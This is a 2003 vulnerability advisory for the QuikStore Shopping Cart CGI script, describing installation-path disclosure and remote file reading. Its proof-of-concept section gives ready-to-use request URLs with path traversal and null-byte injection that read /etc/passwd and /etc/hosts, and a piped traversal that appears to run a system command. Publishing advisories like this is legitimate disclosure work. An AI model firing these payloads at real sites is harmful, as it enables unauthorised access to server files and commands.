QuikStore Shopping Cart Discloses Installation Path & Files to Remote Users

["Dr`Ponidi Haryanto" <drponidi () hackermail com>]

Indonesia Security Development Team Advisory

QuikStore Shopping Cart Discloses Installation Path & Files to Remote Users 
=====================================================================

         Advisory Name: QuikStore Shopping Cart Discloses Installation Path & Files to Remote Users 
          Release Date: 5:08 23/12/03
           Application: QuikStore Shopping Cart 
                Author: Dr`Ponidi <drponidi () kecoak org>      
           Discover by: Dr`Ponidi <drponidi () kecoak org>
       Acknowledgments: Vulnerability discovery, exploit code, and advisory by Dr`Ponidi
         Vendor Status: The vendor has been contacted 
            Vendor URL: http://www.quikstore.com
             Reference: http://drponidi.5u.com/advisory.htm
             Greetz to: #indohack #k-elektronik #dhegleng @ dal.net

[Details]
A remote user can reportedly send request to cause the system
to display an error message that indicates the installation path.
It's possible to make a malformed http request for many files in
QuikStore Shopping Cart and in doing so trigger an error.
The resulting error message will disclose potentially sensitive installation
path information to the remote attacker.QuikStore Shopping Cart allows remote
file reading too, users can view files on the system with the privileges of the web server. 

[Proof of Concept]
http://[target]/cgi-bin/quikstore.cgi?store=&apos;
http://[target]/quikstore.cgi?category=blah&template=../../../../../../../../../../etc/passwd%00.html
http://[target]/quikstore.cgi?category=blah&template=../../../../../../../../../../../../etc/hosts
http://[target]/quikstore.cgi?category=blah&template=../../../../../../../../../../../../usr/bin/id|

[Suggestions]
Filter all files

[Patch:]
Not yet available

[About Indonesia Security Development Team]
Indonesia Security Development Team researches and develops
intelligent, advanced application security assessment.  Based in
Indonesia, Indonesia Security Development Team offers the best of
breed security consulting services, specializing in shopping carts 
software and network security assessments.  We provide security 
information and patches for use by the entire network security community.
 


This information is provided freely to all interested parties and may
be redistributed provided that it is not altered in any way, and that
the author is appropriately credited

Indonesia Security Development Team Advisory:
http://drponidi.5u.com/advisory.htm
_______________________________________________________________
Dr`Ponidi <drponidi () kecoak org>
Original document can be fount at http://drponidi.5u.com/advisory.htm




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